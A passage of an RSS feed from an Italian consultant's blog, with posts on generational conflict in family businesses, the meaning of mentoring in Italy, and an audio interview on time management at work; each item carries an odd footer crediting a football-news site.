<p>A quale <a href="http://www.pieroviscardi.it/blog/scopo-di-questo-blog-e/">nuovo mondo del lavoro</a> dare vita e a che tipo di patto generazionale mettere mano &egrave; il nodo da sciogliere qui e ora se non vogliamo che nel nostro Paese scoppi un conflitto generazionale.</p>
<p><strong>Perch&egrave; in Italia potrebbe scoppiare un conflitto generazionale ovvero un violento conflitto d&#8217;interessi fra persone di diverse et&agrave;?</strong></p>
<p>La risposta che voglio proporvi qui &egrave; la seguente ed &egrave; il risultato del mio vissuto prima di <a href="http://www.pieroviscardi.it/curriculum.htm">imprenditore industriale</a> e adesso di consulente aziendale, coach e mentore e &quot;<strong>facilitatore</strong>&quot;.</p>
<blockquote>
<p>E&#8217; la prima volta nella storia dell&#8217;umanit&agrave; che grandi masse di persone come noi hanno raggiunto et&agrave; cos&igrave; avanzate in <strong>ottimo stato di salute</strong> e in <strong>indipendenza economica</strong> e <strong>possibilit&agrave; di incidere politicamente</strong> mai cos&igrave; diffusa. Questo fatto unito all&#8217;esplosione di benessere che si sta avendo a livello mondiale per effetto della globalizzazione ha portato negli ultimi vent&#8217;anni ad una vera e propria rivoluzione nel mondo del lavoro.</p>
<p>Il forte innalzamento della nostra et&agrave; media (ovvero della nostra speranza di vita ossia del numero di anni che possiamo mediamente vivere a partire da una data et&agrave;) e la globalizzazione dei mercati sono gli ingredienti che possono fare degenerare in <a href="http://www.pieroviscardi.it/blog/2007/03/29/conflitto-e-confronto-generazionale-siamo-sicuri-che-non-ci-riguarda/">conflitto generazionale</a> i rapporti fra italiani appartenenti a diverse fasce d&#8217;et&agrave;.</p>
</blockquote>
<p>Come possiamo dare vita ad un <a href="http://www.pieroviscardi.it/blog/2007/07/09/come-possiamo-affrontare-il-passaggio-generazionale-conflitto-o-patto-generazionale-senza-usare-il-buonsenso/">patto generazionale</a> che ci faccia vivere bene in questo nuovo mondo del lavoro cos&igrave; globalizzato e trasformi un potenziale conflitto in un confronto generazionale ricco di opportunit&agrave; per tutti?</p>
<p>Date un&#8217;occhiata e leggete i post di questo blog e fatelo con <a href="http://www.pieroviscardi.it/no-stress/">mente rilassata</a> ovvero: mettete la sordina alla vostra mente logica! E cos&igrave; senza nessuno sforzo e con piacere la vostra mente comincer&agrave; ad intravedere possibili risposte.&nbsp;&nbsp;</p>
<p><span id="more-369"></span></p>
<p><!--98a9b188826a320f8cc71f4f456d921f22010--></p>
<p>&nbsp;</p>
<p><!--/98a9b188826a320f8cc71f4f456d921f22010--></p>
<p>  
Articolo <a href="http://www.pieroviscardi.it/blog/2007/08/06/mondo-del-lavoro-e-patto-generazionaleun-nodo-da-sciogliere-per-non-far-crollare-il-sistema-pensionistico-italiano/">Mondo del lavoro e patto generazionale: un nodo da sciogliere per non far crollare il sistema pensionistico italiano</a> da <a href="http://www.pianetanews.it/">Calciomercato</a>  
</p> ]]></content:encoded>
			<wfw:commentRss>http://www.pieroviscardi.it/blog/2007/08/06/mondo-del-lavoro-e-patto-generazionaleun-nodo-da-sciogliere-per-non-far-crollare-il-sistema-pensionistico-italiano/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cos&#8217;è il mentoring in Italia?</title>
		<link>http://www.pieroviscardi.it/blog/2007/03/07/cose-il-mentoring-in-italia/</link>
		<comments>http://www.pieroviscardi.it/blog/2007/03/07/cose-il-mentoring-in-italia/#comments</comments>
		<pubDate>Wed, 07 Mar 2007 08:34:45 +0000</pubDate>
		<dc:creator>Piero Viscardi</dc:creator>
				<category><![CDATA[Generazioni insieme]]></category>

		<guid isPermaLink="false">http://www.pieroviscardi.it/blog/2007/03/07/cose-il-mentoring-in-italia/</guid>
		<description><![CDATA[Mentoring &#232; un termine inglese che come potete intuire origina dalla parola Mentore che &#232; il nome del &#34;maestro&#34; di Telemaco, figlio di Ulisse. A chi &#232; interessato ad approfondire il concetto di mentoring consiglio di visitare questi due siti che, in modo chiaro e semplice, possono aiutarvi a farvene un&#8217;idea: Pievis Mentoring e Italian [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Mentoring &egrave;</strong> un termine inglese che come potete intuire origina dalla parola Mentore che &egrave; il nome del &quot;maestro&quot; di Telemaco, figlio di Ulisse. A chi &egrave; interessato ad approfondire il concetto di mentoring consiglio di visitare questi due siti che, in modo chiaro e semplice, possono aiutarvi a farvene un&#8217;idea: <a target="_blank" href="http://www.pievismentoring.it/"><strong>Pievis Mentoring</strong></a> e <a target="_blank" href="http://www.imwa.it/"><strong>Italian Mentoring Working Approach</strong></a>, questo secondo sito si propone coraggiosamente di suggerire una via italiana all&#8217;utilizzo nel mentoring nel <a href="http://www.pieroviscardi.it/mondo-del-lavoro.htm">mondo del lavoro</a>. Quello che voglio portare alla vostra attenzione con questo post &egrave;: COSA NON E&#8217; il MENTORING in ITALIA? Vi do la mia risposta partendo da queste parole: tutor, maestro, <a href="http://www.pieroviscardi.it/business-coaching.htm">coach</a>, counselor, facilitatore, sponsor, <strong>mentore</strong>. Sono tutte parole che nel mondo anglosassone indicano, con varie sfumature, una figura di persona che in qualche modo ne aiuta un&#8217;altra in un tipo di <strong>rapporto one to one</strong>. Alcune di quelle parole non vi saranno familiari ed altre vi suoneranno un po&#8217; strane, e questa &egrave; l&#8217;ennesima dimostrazione di come la <a href="http://www.pieroviscardi.it/blog/2006/12/01/la-lingua-italiana-e-una-lingua-morta-quanto-a-capacita-di-rappresentarci-questo-nuovo-mondo-del-lavoro/">lingua italiana</a> sia carente di parole che esprimono il concetto di mentoring e dintorni. E se non ci sono parole (o meglio se anche ci sono, ma non sono di uso comune) provate ad immaginare se esistono i comportamenti che le sottendono: NON ESISTONO!! ovvero <strong>in Italia il Mentoring non &egrave; neanche morto perch&eacute; non &egrave; mai nato</strong>. E cos&igrave; per evitare di perdere tempo a cercare di resuscitare un morto, provo a suggerirvi una <strong>&quot;nuova&quot; idea di mentoring</strong>. &quot;Nuova&quot; di 2500 anni perch&eacute; &egrave; un&#8217;idea che &egrave; venuta in <strong>Cina</strong> a tre Re dell&#8217;epoca che sono passati alla storia perch&eacute; &#8211; ad un certo punto del loro essere Re &#8211; <strong>sono stati capaci di FARSI DA PARTE per lasciare ad altri il loro ruolo di Re</strong>. Questa &#8216;idea/significato, o meglio questa APPLICAZIONE di cos&#8217;&egrave; il Mentoring &egrave; quello che vorrei entrasse nel Cuore e nella Testa di noi italiani.</p>
<blockquote><p>E tanto pi&ugrave; nel cuore e nella testa di noi IMPRENDITORI ITALIANI ogni giorno alle prese &#8211; nelle nostre aziende familiari e non &#8211; con <strong>un <a href="http://www.pieroviscardi.it/blog/2007/02/26/domande-chiave-per-vivere-bene-il-conflitto-confronto-generazionale-anche-nel-mondo-del-lavoro/">confronto-conflitto generazionale</a> </strong>sempre pi&ugrave; gravido di insidie, e per il quale <a href="http://www.pieroviscardi.it/blog/2007/02/06/le-imprese-pmi-del-nord-italia-sotto-quali-tappeti-nascondono-i-loro-scheletri/">IL FARSI DA PARTE</a> potrebbe essere una delle risposte pi&ugrave; sagge.</p></blockquote>
<p>Un farsi da parte a cui <strong><a href="http://www.pieroviscardi.it/consulenza-aziendale.htm">servizi di consulenza aziendale</a> e coaching innovativo</strong> non possono sottrarsi di dare risposte chiare, concrete e subito operative.<span id="more-266"></span></p>
<p><!--574706b38539ad87f5c113cb3210736522010--></p>
<p>&nbsp;</p>
<p><!--/574706b38539ad87f5c113cb3210736522010--></p>
<p>  
Articolo <a href="http://www.pieroviscardi.it/blog/2007/03/07/cose-il-mentoring-in-italia/">Cos&#8217;è il mentoring in Italia?</a> da <a href="http://www.pianetanews.it/">Calciomercato</a>  
</p> ]]></content:encoded>
			<wfw:commentRss>http://www.pieroviscardi.it/blog/2007/03/07/cose-il-mentoring-in-italia/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Anche il conflitto generazionale in azienda è un conflitto dinteresse</title>
		<link>http://www.pieroviscardi.it/blog/2007/01/01/anche-il-conflitto-generazionale-in-azienda-e-un-conflitto-dinteresse/</link>
		<comments>http://www.pieroviscardi.it/blog/2007/01/01/anche-il-conflitto-generazionale-in-azienda-e-un-conflitto-dinteresse/#comments</comments>
		<pubDate>Mon, 01 Jan 2007 10:34:51 +0000</pubDate>
		<dc:creator>Piero Viscardi</dc:creator>
				<category><![CDATA[Generazioni insieme]]></category>

		<guid isPermaLink="false">http://www.pieroviscardi.it/blog/2007/01/01/anche-il-conflitto-generazionale-in-azienda-e-un-conflitto-dinteresse/</guid>
		<description><![CDATA[Sembra proprio di NO:&#160; il conflitto generazionale in azienda non &#232; d&#8217;interesse.
Si avete capito bene: NON INTERESSA A NESSUNO !!
Eppure anche nei volti e nelle parole dei non addetti ai lavori &#232; evidente la sensazione (la non piacevole sensazione) che il sistema delle nostre imprese italiane &#8211; grandi o piccole che siano &#8211; &#232; sulla [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal">Sembra proprio di NO:&nbsp; il conflitto generazionale in azienda non &egrave; d&rsquo;interesse.</p>
<p class="MsoNormal">Si avete capito bene: NON INTERESSA A NESSUNO !!</p>
<p class="MsoNormal">Eppure anche nei volti e nelle parole dei non addetti ai lavori &egrave; evidente la sensazione (la non piacevole sensazione) che il sistema delle nostre imprese italiane &#8211; grandi o piccole che siano &ndash; &egrave; sulla china di <strong>un declino dal quale non si intravedono punti di svolta all&rsquo;ins&ugrave;</strong>.</p>
<p class="MsoNormal">E cos&igrave; data la delicatezza della situazione perch&eacute; non proviamo a chiederci:</p>
<blockquote>
<p class="MsoNormal"><strong>&ldquo;Come possiamo far s&igrave; che il Conflitto Generazionale in Azienda diventi un punto di svolta all&rsquo;ins&ugrave; ovvero un punto da cui riposizionare il nostro sistema imprenditoriale?&rdquo;</strong></p>
</blockquote>
<p class="MsoNormal">Conflitto o <a target="_blank" href="http://www.pieroviscardi.it/blog/2006/05/23/facciamo-da-detonatore-per-un-confronto-intergenerazionale/">confronto generazionale</a>? Molti di noi, ed in particolar modo quando cerchiamo di apparire come pi&ugrave; buoni degli altri,&nbsp;preferiscono ignorare l&rsquo;esistenza della parola conflitto e in questo caso la sostituiscono con confronto.</p>
<p class="MsoNormal">Se &egrave; vero come &egrave; vero che <strong>&egrave; proprio a partire dalle parole</strong> che nella nostra mente si formano i significati (e quindi poi i nostri comportamenti) &egrave; naturale che la nostra mente preferisca evitare di pensare in termini di conflitto ma . . .</p>
<p class="MsoNormal">&nbsp;. . ma questo gli &egrave; reso impossibile dai mass media che ogni giorno la &ldquo;nutrono&rdquo; non solo con la parola conflitto ma anche con le relative immagini.</p>
<p class="MsoNormal">E cos&igrave; sembra che non ci sia altro da fare che sostituire la parola conflitto con confronto e invece &#8211; fortunatamente &#8211; questo&nbsp;non &egrave; vero.&nbsp;</p>
<blockquote>
<p class="MsoNormal">Quali sono le intenzioni positive dietro la parola conflitto ? Cosa ci spinge ad utilizzare il conflitto come strumento di confronto? Conflitto e conflittualit&agrave; sono la stessa cosa?</p>
</blockquote>
<p class="MsoNormal">Se riflettiamo su queste e sulle altre domande che vi stanno venendo in mente adesso e se lo facciamo mentre siamo rilassati e <strong>siamo capaci</strong> di&nbsp;prenderci tutto il tempo che ci vuole, rispondere a quelle domande ci verr&agrave;&nbsp;naturale.</p>
<p class="MsoNormal">Facciamolo e facendolo <strong>possiamo riappropriarci</strong> di significati positivi della parola conflitto.</p>
<p class="MsoNormal">E adesso non mi resta che chiudere questo post lasciando che la vostra mente (inconscia) -&nbsp;stimolata anche da queste ulteriori considerazioni -&nbsp;faccia da sola il suo lavoro:</p>
<ul>
<li>
<div class="MsoNormal">l&rsquo;Italia &egrave; il Paese industrializzato con la pi&ugrave; alta percentuale di persone in et&agrave; avanzata ed inoltre &egrave; la prima volta nella storia dell&rsquo;umanit&agrave; che la gran parte degli anziani gode di: salute, indipendenza economica e potere politico.</div>
</li>
<li>
<div class="MsoNormal">Qualcuno di voi ha provato a <strong>&ldquo;confrontarsi&rdquo;</strong> con le convinzioni di un imprenditore avanti con gli anni? E con quelle dei giovani imprenditori?</div>
</li>
<li>
<div class="MsoNormal">Come fate a sapere quando l&rsquo;esperienza non &egrave; solo attaccamento al passato ovvero conservazione?</div>
</li>
<li>
<div class="MsoNormal">Si dice che il pensiero ( e quindi poi l&rsquo;azione) di un giovane &egrave; pi&ugrave; potente perch&eacute; non viene dal passato. Come facciamo a convincere i pi&ugrave; giovani che questo pu&ograve; essere vero anche per i meno giovani?</div>
</li>
</ul>
<p class="MsoNormal"><span id="more-218"></span><!--fc65f8f2028c192b1ab15f377cb2760b22010--><!--/fc65f8f2028c192b1ab15f377cb2760b22010--></p>
<p>  
Articolo <a href="http://www.pieroviscardi.it/blog/2007/01/01/anche-il-conflitto-generazionale-in-azienda-e-un-conflitto-dinteresse/">Anche il conflitto generazionale in azienda è un conflitto dinteresse</a> da <a href="http://www.pianetanews.it/">Calciomercato</a>  
</p> ]]></content:encoded>
			<wfw:commentRss>http://www.pieroviscardi.it/blog/2007/01/01/anche-il-conflitto-generazionale-in-azienda-e-un-conflitto-dinteresse/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>#5 Gestire il tempo nel mondo del lavoro e non:Max e i trentenni viaggio nel mondo del lavoro</title>
		<link>http://www.pieroviscardi.it/blog/2006/11/23/5-gestire-il-tempo-nel-mondo-del-lavoro-e-non-max-e-i-trentenni-viaggio-nel-mondo-del-lavoro/</link>
		<comments>http://www.pieroviscardi.it/blog/2006/11/23/5-gestire-il-tempo-nel-mondo-del-lavoro-e-non-max-e-i-trentenni-viaggio-nel-mondo-del-lavoro/#comments</comments>
		<pubDate>Thu, 23 Nov 2006 11:09:08 +0000</pubDate>
		<dc:creator>Piero Viscardi</dc:creator>
				<category><![CDATA[Generazioni insieme]]></category>

		<guid isPermaLink="false">http://www.pieroviscardi.it/blog/2006/11/23/5-gestire-il-tempo-nel-mondo-del-lavoro-e-non-max-e-i-trentenni-viaggio-nel-mondo-del-lavoro/</guid>
		<description><![CDATA[Sbrigarsi, affrettarsi, non ho tempo, mi manca sempre il tempo, dammi il tempo . . . Queste e tutte le altre che vi vengono in mente sono espressioni che hanno a che fare con la gestione del nostro tempo. I modi di far scorrere il tempo di un trentenne sono diversi da quelli di una [...]]]></description>
			<content:encoded><![CDATA[<p><em>Sbrigarsi, affrettarsi, non ho tempo, mi manca sempre il tempo, dammi il tempo . . .</em> Queste e tutte le altre che vi vengono in mente sono espressioni che hanno a che fare con la gestione del nostro tempo. <strong>I modi di far scorrere il tempo di un trentenne sono diversi da</strong> quelli di una persona pi&ugrave; avanti nell&#8217;et&agrave; e forse proprio in questo sta tutta l&#8217;importanza per&nbsp; MAX di trovarsi dei qualcuno over 30 con i quali parlare del tempo o meglio ancora di come il tempo agisce sulle nostre aspettative nel lavoro cos&igrave; come nella vita. In questa audio-intervista (la quinta della serie Max e i Trentenni: viaggio nel mondo del lavoro) affronto -&nbsp; come al solito con la collaborazione&nbsp; di Giuliano Gennaio &#8211; questo tema tanto importante per far si che nella nostra vita lavorativa <strong>possiamo fare quello che davvero abbiamo deciso di fare</strong>. L&#8217;audio <a target="_blank" href="http://www.pieroviscardi.it/blog/audio/gestire-tempo-mondo-lavoro.mp3">Gestire il tempo nel mondo del lavoro</a> dura circa 15 minuti&nbsp;e richiede un paio di minuti per essere scaricato con una linea adsl e qualcosa in pi&ugrave; con la linea normale.</p>
<blockquote><p>ADESSO prenditi tutto il tempo che ti&nbsp;serve e intanto FESTINA LENTE ovvero AFFRETTATI LENTAMENTE !!</p></blockquote>
<p>Buon Ascolto!!<span id="more-193"></span></p>
<p><!--cc87a5eaf3dded51d95fc5136b80004c22010--></p>
<p>&nbsp;</p>
<p><!--/cc87a5eaf3dded51d95fc5136b80004c22010--></p>
<p>  
Articolo <a href="http://www.pieroviscardi.it/blog/2006/11/23/5-gestire-il-tempo-nel-mondo-del-lavoro-e-non-max-e-i-trentenni-viaggio-nel-mondo-del-lavoro/">#5 Gestire il tempo nel mondo del lavoro e non:Max e i trentenni viaggio nel mondo del lavoro</a> da <a href="http://www.pianetanews.it/">Calciomercato</a>  
</p> ]]></content:encoded>
			<wfw:commentRss>http://www.pieroviscardi.it/blog/2006/11/23/5-gestire-il-tempo-nel-mondo-del-lavoro-e-non-max-e-i-trentenni-viaggio-nel-mondo-del-lavoro/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
<enclosure url="http://www.pieroviscardi.it/blog/audio/gestire-tempo-mondo-lavoro.mp3" length="14151288" type="audio/mpeg" />
		</item>
	</channel>
</rss>
